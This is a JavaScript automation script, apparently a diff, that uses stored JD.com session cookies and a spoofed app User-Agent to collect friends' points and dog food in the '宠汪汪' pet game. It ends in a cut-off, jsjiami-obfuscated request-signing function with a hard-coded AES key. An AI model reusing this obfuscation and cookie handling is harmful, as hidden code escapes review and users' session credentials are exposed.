t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('宠汪汪偷好友积分与狗粮'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let message = '', subTitle = ''; + +let jdNotify = false;//是否开启静默运行,false关闭静默运行(即通知),true打开静默运行(即不通知) +let jdJoyHelpFeed = true;//是否给好友喂食,false为不给喂食,true为给好友喂食,默认给好友喂食 +let jdJoyStealCoin = true;//是否偷好友积分与狗粮,false为否,true为是,默认是偷 +const JD_API_HOST = 'https://jdjoy.jd.com/pet'; +//是否给好友喂食 +let ctrTemp; +if ($.isNode() && process.env.JOY_HELP_FEED) { + ctrTemp = `${process.env.JOY_HELP_FEED}` === 'true'; +} else if ($.getdata('jdJoyHelpFeed')) { + ctrTemp = $.getdata('jdJoyHelpFeed') === 'true'; +} else { + ctrTemp = `${jdJoyHelpFeed}` === 'true'; +} +//是否偷好友狗粮 +let jdJoyStealCoinTemp; +if ($.isNode() && process.env.jdJoyStealCoin) { + jdJoyStealCoinTemp = `${process.env.jdJoyStealCoin}` === 'true'; +} else if ($.getdata('jdJoyStealCoin')) { + jdJoyStealCoinTemp = $.getdata('jdJoyStealCoin') === 'true'; +} else { + jdJoyStealCoinTemp = `${jdJoyStealCoin}` === 'true'; +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.HelpFeedFlag = ctrTemp; + if (!ctrTemp) $.HelpFeedFlag = true + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + await jdJoySteal(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdJoySteal() { + try { + $.helpFood = 0; + $.stealFriendCoin = 0; + $.stealFood = 0; + $.stealStatus = null; + $.helpFeedStatus = null; + message += `【京东账号${$.index}】${$.nickName}\n`; + await getFriends();//查询是否有好友 + await getCoinChanges();//查询喂食好友和偷好友积分是否已达上限 + if ($.getFriendsData && $.getFriendsData.success) { + if (!$.getFriendsData.datas) { + console.log(`\n京东返回宠汪汪好友列表数据为空\n`) + return + } + if ($.getFriendsData && $.getFriendsData.datas && $.getFriendsData.datas.length > 0) { + const { lastPage } = $.getFriendsData.page; + // console.log('lastPage', lastPage) + console.log(`\n共 ${lastPage * 20 - 1} 个好友\n`); + $.allFriends = []; + for (let i = 1; i <= new Array(lastPage).fill('').length; i++) { + if ($.visit_friend >= 100 || $.stealFriendCoin * 1 >= 100) { + console.log('偷好友积分已达上限(已获得100积分) 跳出\n') + $.stealFriendCoin = `已达上限(已获得100积分)`; + break + } + console.log(`偷好友积分 开始查询第${i}页好友\n`); + await getFriends(i); + $.allFriends = $.getFriendsData.datas; + if ($.allFriends) await stealFriendCoinFun(); + } + for (let i = 1; i <= new Array(lastPage).fill('').length; i++) { + if ($.stealStatus === 'chance_full') { + console.log('偷好友狗粮已达上限 跳出\n') + if (!$.stealFood) { + $.stealFood = `已达上限`; + } + break + } + if (nowTimes.getHours() < 6 && nowTimes.getHours() >= 0) { + $.log('未到早餐时间, 暂不能偷好友狗粮\n') + break + } + if (nowTimes.getHours() === 10 ? (nowTimes.getMinutes() > 30) : (nowTimes.getHours() === 11 && nowTimes.getMinutes() < 30)) { + $.log('未到中餐时间, 暂不能偷好友狗粮\n') + break + } + if ((nowTimes.getHours() >= 15 && nowTimes.getMinutes() > 0) && (nowTimes.getHours() < 17 && nowTimes.getMinutes() <= 59)) { + $.log('未到晚餐时间, 暂不能偷好友狗粮\n') + break + } + if (nowTimes.getHours() >= 21 && nowTimes.getMinutes() > 0 && nowTimes.getHours() <= 23 && nowTimes.getMinutes() <= 59) { + $.log('已过晚餐时间, 暂不能偷好友狗粮\n') + break + } + console.log(`偷好友狗粮 开始查询第${i}页好友\n`); + await getFriends(i); + $.allFriends = $.getFriendsData.datas; + if ($.allFriends) await stealFriendsFood(); + } + for (let i = 1; i <= new Array(lastPage).fill('').length; i++) { + if ($.help_feed >= 200 || ($.helpFeedStatus && $.helpFeedStatus === 'chance_full')) { + console.log('帮好友喂食已达上限(已帮喂20个好友获得200积分) 跳出\n'); + $.helpFood = '已达上限(已帮喂20个好友获得200积分)' + break + } + if ($.helpFeedStatus && $.helpFeedStatus === 'food_insufficient') { + console.log('帮好友喂食失败,狗粮不足10g 跳出\n'); + break + } + if ($.help_feed >= 10) $.HelpFeedFlag = ctrTemp;//修复每次运行都会给好友喂食一次的bug + if (!$.HelpFeedFlag) { + console.log('您已设置不为好友喂食,现在跳过喂食,如需为好友喂食请在BoxJs打开喂食开关或者更改脚本 jdJoyHelpFeed 处'); + break + } + console.log(`帮好友喂食 开始查询第${i}页好友\n`); + await getFriends(i); + $.allFriends = $.getFriendsData.datas; + if ($.allFriends) await helpFriendsFeed(); + } + } + } else { + message += `${$.getFriendsData && $.getFriendsData.errorMessage}\n`; + } + } catch (e) { + $.logErr(e) + } +} +async function stealFriendsFood() { + console.log(`开始偷好友狗粮`); + for (let friends of $.allFriends) { + const { friendPin, status, stealStatus } = friends; + $.stealStatus = stealStatus; + console.log(`stealFriendsFood---好友【${friendPin}】--偷食状态:${stealStatus}\n`); + // console.log(`stealFriendsFood---好友【${friendPin}】--喂食状态:${status}\n`); + if (stealStatus === 'can_steal') { + //可偷狗粮 + //偷好友狗粮 + console.log(`发现好友【${friendPin}】可偷狗粮\n`) + await enterFriendRoom(friendPin); + await doubleRandomFood(friendPin); + const getRandomFoodRes = await getRandomFood(friendPin); + console.log(`偷好友狗粮结果:${JSON.stringify(getRandomFoodRes)}`) + if (getRandomFoodRes && getRandomFoodRes.success) { + if (getRandomFoodRes.errorCode === 'steal_ok') { + $.stealFood += getRandomFoodRes.data; + } else if (getRandomFoodRes.errorCode === 'chance_full') { + console.log('偷好友狗粮已达上限,跳出循环'); + break; + } + } + } else if (stealStatus === 'chance_full') { + console.log('偷好友狗粮已达上限,跳出循环'); + break; + } + } +} +//偷好友积分 +async function stealFriendCoinFun() { + if (jdJoyStealCoinTemp) { + if ($.visit_friend !== 100) { + console.log('开始偷好友积分') + for (let friends of $.allFriends) { + const { friendPin } = friends; + if (friendPin === $.UserName) continue + await stealFriendCoin(friendPin);//领好友积分 + if ($.stealFriendCoin * 1 === 100) { + console.log(`偷好友积分已达上限${$.stealFriendCoin}个,现跳出循环`) + break + } + } + } else { + console.log('偷好友积分已达上限(已获得100积分)') + $.stealFriendCoin = `已达上限(已获得100积分)` + } + } +} +//给好友喂食 +async function helpFriendsFeed() { + if ($.help_feed !== 200) { + if ($.HelpFeedFlag) { + console.log(`\n开始给好友喂食`); + for (let friends of $.allFriends) { + const { friendPin, status, stealStatus } = friends; + console.log(`\nhelpFriendsFeed---好友【${friendPin}】--喂食状态:${status}`); + if (status === 'not_feed') { + const helpFeedRes = await helpFeed(friendPin); + // console.log(`帮忙喂食结果--${JSON.stringify(helpFeedRes)}`) + $.helpFeedStatus = helpFeedRes.errorCode; + if (helpFeedRes && helpFeedRes.errorCode === 'help_ok' && helpFeedRes.success) { + console.log(`帮好友[${friendPin}]喂食10g狗粮成功,你获得10积分\n`); + if (!ctrTemp) { + $.log('为完成为好友单独喂食一次的任务,故此处进行喂食一次') + $.HelpFeedFlag = false; + break + } + $.helpFood += 10; + } else if (helpFeedRes && helpFeedRes.errorCode === 'chance_full') { + console.log('喂食已达上限,不再喂食\n') + break + } else if (helpFeedRes && helpFeedRes.errorCode === 'food_insufficient') { + console.log('帮好友喂食失败,您的狗粮不足10g\n') + break + } else { + console.log(JSON.stringify(helpFeedRes)) + } + } else if (status === 'time_error') { + console.log(`帮好友喂食失败,好友[${friendPin}]的汪汪正在食用\n`) + } + } + } else { + console.log('您已设置不为好友喂食,现在跳过喂食,如需为好友喂食请在BoxJs打开喂食开关或者更改脚本 jdJoyHelpFeed 处') + } + } else { + console.log('帮好友喂食已达上限(已帮喂20个好友获得200积分)') + $.helpFood = '已达上限(已帮喂20个好友获得200积分)' + } +} +function getFriends(currentPage = '1') { + return new Promise(resolve => { + let opt = { + url: `//draw.jdfcloud.com//common/pet/api/getFriends?itemsPerPage=20¤tPage=${currentPage * 1}&reqSource=weapp`, + // url: `//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5&invokeKey=Oex5GmEuqGep1WLC`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + const options = { + url, + headers: { + 'Cookie': cookie, + 'reqSource': 'h5', + 'Host': 'draw.jdfcloud.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + }, + timeout: 10000 + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + throw new Error(err); + } else { + // console.log('JSON.parse(data)', JSON.parse(data)) + if (data) { + $.getFriendsData = JSON.parse(data); + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +async function stealFriendCoin(friendPin) { + // console.log(`进入好友 ${friendPin}的房间`) + const enterFriendRoomRes = await enterFriendRoom(friendPin); + if (enterFriendRoomRes) { + const { friendHomeCoin } = enterFriendRoomRes.data; + if (friendHomeCoin > 0) { + //领取好友积分 + console.log(`好友 ${friendPin}的房间可领取积分${friendHomeCoin}个\n`) + const getFriendCoinRes = await getFriendCoin(friendPin); + console.log(`偷好友积分结果:${JSON.stringify(getFriendCoinRes)}\n`) + if (getFriendCoinRes && getFriendCoinRes.errorCode === 'coin_took_ok') { + $.stealFriendCoin += getFriendCoinRes.data; + } + } else { + console.log(`好友 ${friendPin}的房间暂无可领取积分\n`) + } + } +} +//进入好友房间 +function enterFriendRoom(friendPin) { + console.log(`\nfriendPin:: ${friendPin}\n`); + return new Promise(async resolve => { + $.get(taskUrl('enterFriendRoom', (friendPin)), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + console.log(`\n${JSON.stringify(err)}`) + console.log(`\n${err}\n`) + throw new Error(err); + } else { + // console.log('进入好友房间', JSON.parse(data)) + if (data) { + data = JSON.parse(data); + console.log(`可偷狗粮:${data.data.stealFood}`) + console.log(`可偷积分:${data.data.friendHomeCoin}`) + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//收集好友金币 +function getFriendCoin(friendPin) { + return new Promise(resolve => { + $.get(taskUrl('getFriendCoin', friendPin), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + throw new Error(err); + } else { + if (data) { + data = JSON.parse(data); + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//帮好友喂食 +function helpFeed(friendPin) { + return new Promise(resolve => { + $.get(taskUrl('helpFeed', friendPin), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + throw new Error(err); + } else { + if (data) { + data = JSON.parse(data); + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//收集好友狗粮,已实现分享可得双倍狗粮功能 +//①分享 +function doubleRandomFood(friendPin) { + return new Promise(resolve => { + $.get(taskUrl('doubleRandomFood', friendPin), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + throw new Error(err); + } else { + // console.log('分享', JSON.parse(data)) + // $.appGetPetTaskConfigRes = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//②领取双倍狗粮 +function getRandomFood(friendPin) { + return new Promise(resolve => { + $.get(taskUrl('getRandomFood', friendPin), (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + throw new Error(err); + } else { + if (data) { + console.log(`领取双倍狗粮结果--${data}`) + data = JSON.parse(data); + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function getCoinChanges() { + return new Promise(resolve => { + let opt = { + url: `//jdjoy.jd.com/common/pet/getCoinChanges?changeDate=${Date.now()}&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC`, + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5", + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + const options = { + url, + headers: { + 'Cookie': cookie, + 'reqSource': 'h5', + 'Host': 'jdjoy.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + throw new Error(err); + } else { + // console.log('getCoinChanges', JSON.parse(data)) + if (data) { + data = JSON.parse(data); + if (data.datas && data.datas.length > 0) { + $.help_feed = 0; + $.visit_friend = 0; + for (let item of data.datas) { + if ($.time('yyyy-MM-dd') === timeFormat(item.createdDate) && item.changeEvent === 'help_feed'){ + $.help_feed = item.changeCoin; + } + if ($.time('yyyy-MM-dd') === timeFormat(item.createdDate) && item.changeEvent === 'visit_friend') { + $.visit_friend = item.changeCoin; + } + } + console.log(`$.help_feed给好友喂食获得积分:${$.help_feed}`); + console.log(`$.visit_friend领取好友积分:${$.visit_friend}`); + } + } else { + console.log(`京豆api返回数据为空,请检查自身原因`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + $.stealFood = $.stealFood >= 0 ? `【偷好友狗粮】获取${$.stealFood}g狗粮\n` : `【偷好友狗粮】${$.stealFood}\n`; + $.stealFriendCoin = $.stealFriendCoin >= 0 ? `【领取好友积分】获得${$.stealFriendCoin}个\n` : `【领取好友积分】${$.stealFriendCoin}\n`; + $.helpFood = $.helpFood >= 0 ? `【给好友喂食】消耗${$.helpFood}g狗粮,获得积分${$.helpFood}个\n` : `【给好友喂食】${$.helpFood}\n`; + message += $.stealFriendCoin; + message += $.stealFood; + message += $.helpFood; + let flag; + if ($.getdata('jdJoyStealNotify')) { + flag = `${$.getdata('jdJoyStealNotify')}` === 'false'; + } else { + flag = `${jdNotify}` === 'false'; + } + if (flag) { + $.msg($.name, '', message); + } else { + $.log(`\n${message}\n`); + } + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(functionId, friendPin) { + let opt = { + url: `//jdjoy.jd.com/common/pet/${functionId}?friendPin=${encodeURI(friendPin)}&reqSource=h5&invokeKey=Oex5GmEuqGep1WLC`, + // url: `//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + return { + url, + headers: { + 'Cookie': cookie, + 'reqSource': 'h5', + 'Host': 'jdjoy.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxb227b=["\x69\x73\x4E\x6F\x64\x65","\x63\x72\x79\x70\x74\x6F\x2D\x6A\x73","\x39\x38\x63\x31\x34\x63\x39\x39\x37\x66\x64\x65\x35\x30\x63\x63\x31\x38\x62\x64\x65\x66\x65\x63\x66\x64\x34\x38\x63\x65\x62\x37","\x70\x61\x72\x73\x65","\x55\x74\x66\x38","\x65\x6E\x63","\x65\x61\x36\x35\x33\x66\x34\x66\x33\x63\x35\x65\x64\x61\x31\x32","\x63\x69\x70\x68\x65\x72\x74\x65\x78\x74","\x43\x42\x43","\x6D\x6F\x64\x65","\x50\x6B\x63\x73\x37","\x70\x61\x64","\x65\x6E\x63\x72\x79\x70\x74","\x41\x45\x53","\x48\x65\x78","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x42\x61\x73\x65\x36\x34","\x64\x65\x63\x72\x79\x70\x74","\x6C\x65\x6E\x67\x74\x68","\x6D\x61\x70","\x73\x6F\x72\x74","\x6B\x65\x79\x73","\x67\x69\x66\x74","\x70\x65\x74","\x69\x6E\x63\x6C\x75\x64\x65\x73","\x26","\x6A\x6F\x69\x6E","\x3D","\x3F","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6D\x6D\x6F\x6E\x2F","\x72\x65\x70\x6C\x61\x63\x65","\x68\x65\x61\x64\x65\x72","\x75\x72\x6C","\x72\x65\x71\x53\x6F\x75\x72\x63\x65\x3D\x68\x35","\x61\x73\x73\x69\x67\x6E","\x6D\x65\x74\x68\x6F\x64","\x47\x45\x54","\x64\x61\x74\x61","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x6B\x65\x79\x43\x6F\x64\x65","\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","","\x67\x65\x74","\x70\x6F\x73\x74","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x5F","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];function taroRequest(_0x1226x2){const _0x1226x3=$[__Oxb227b[0x0]]()?require(__Oxb227b[0x1]):CryptoJS;const _0x1226x4=__Oxb227b[0x2];const _0x1226x5=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x4);const _0x1226x6=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](__Oxb227b[0x6]);let _0x1226x7={"\x41\x65\x73\x45\x6E\x63\x72\x79\x70\x74":function _0x1226x8(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0xc]](_0x1226x9,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]})[__Oxb227b[0x7]].toString()},"\x41\x65\x73\x44\x65\x63\x72\x79\x70\x74":function _0x1226xa(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0xe]][__Oxb227b[0x3]](_0x1226x2),_0x1226xb=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9);return _0x1226x3[__Oxb227b[0xd]][__Oxb227b[0x11]](_0x1226xb,_0x1226x5,{"\x69\x76":_0x1226x6,"\x6D\x6F\x64\x65":_0x1226x3[__Oxb227b[0x9]][__Oxb227b[0x8]],"\x70\x61\x64\x64\x69\x6E\x67":_0x1226x3[__Oxb227b[0xb]][__Oxb227b[0xa]]}).toString(_0x1226x3[__Oxb227b[0x5]].Utf8).toString()},"\x42\x61\x73\x65\x36\x34\x45\x6E\x63\x6F\x64\x65":function _0x1226xc(_0x1226x2){var _0x1226x9=_0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x4]][__Oxb227b[0x3]](_0x1226x2);return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0xf]](_0x1226x9)},"\x42\x61\x73\x65\x36\x34\x44\x65\x63\x6F\x64\x65":function _0x1226xd(_0x1226x2){return _0x1226x3[__Oxb227b[0x5]][__Oxb227b[0x10]][__Oxb227b[0x3]](_0x1226x2).toString(_0x1226x3[__Oxb227b[0x5]].Utf8)},"\x4D\x64\x35\x65\x6E\x63\x6F\x64\x65":function _0x1226xe(_0x1226x2){return _0x1226x3.MD5(_0x1226x2).toString()},"\x6B\x65\x79\x43\x6F\x64\x65":__Oxb227b[0x2]};const _0x1226xf=function _0x1226x10(_0x1226x2,_0x1226x9){if(_0x1226x2 instanceof Array){_0x1226x9= _0x1226x9|| [];for(var _0x1226xb=0;_0x1226xb< _0x1226x2[__Oxb227b[0x12]];_0x1226xb++){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])}}else {!(_0x1226x2 instanceof Array)&& _0x1226x2 instanceof Object?(_0x1226x9= _0x1226x9|| {},Object[__Oxb227b[0x15]](_0x1226x2)[__Oxb227b[0x14]]()[__Oxb227b[0x13]](function(_0x1226xb){_0x1226x9[_0x1226xb]= _0x1226x10(_0x1226x2[_0x1226xb],_0x1226x9[_0x1226xb])})):_0x1226x9= _0x1226x2};return _0x1226x9};const _0x1226x11=function _0x1226x12(_0x1226x2){for(var _0x1226x9=[__Oxb227b[0x16],__Oxb227b[0x17]],_0x1226xb=!1,_0x1226x3=0;_0x1226x3< _0x1226x9[__Oxb227b[0x12]];_0x1226x3++){var _0x1226x4=_0x1226x9[_0x1226x3];_0x1226x2[__Oxb227b[0x18]](_0x1226x4)&& !_0x1226xb&& (_0x1226xb= !0)};return _0x1226xb};const _0x1226x13=function _0x1226x14(_0x1226x2,_0x1226x9){if(_0x1226x9&& Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x12]]> 0){var _0x1226xb=Object[__Oxb227b[0x15]](_0x1226x9)[__Oxb227b[0x13]](function(_0x1226x2){return _0x1226x2+ __Oxb227b[0x1b]+ _0x1226x9[_0x1226x2]})[__Oxb227b[0x1a]](__Oxb227b[0x19]);return _0x1226x2[__Oxb227b[0x1d]](__Oxb227b[0x1c])>= 0?_0x1226x2+ __Oxb227b[0x19]+ _0x1226xb:_0x1226x2+ __Oxb227b[0x1c]+ _0x1226xb};return _0x1226x2};const _0x1226x15=function _0x1226x16(_0x1226x2){for(var _0x1226x9=_0x1226x6,_0x1226xb=0;_0x1226xb< _0x1226x9[__Oxb227b[0x12]];_0x1226xb++){var 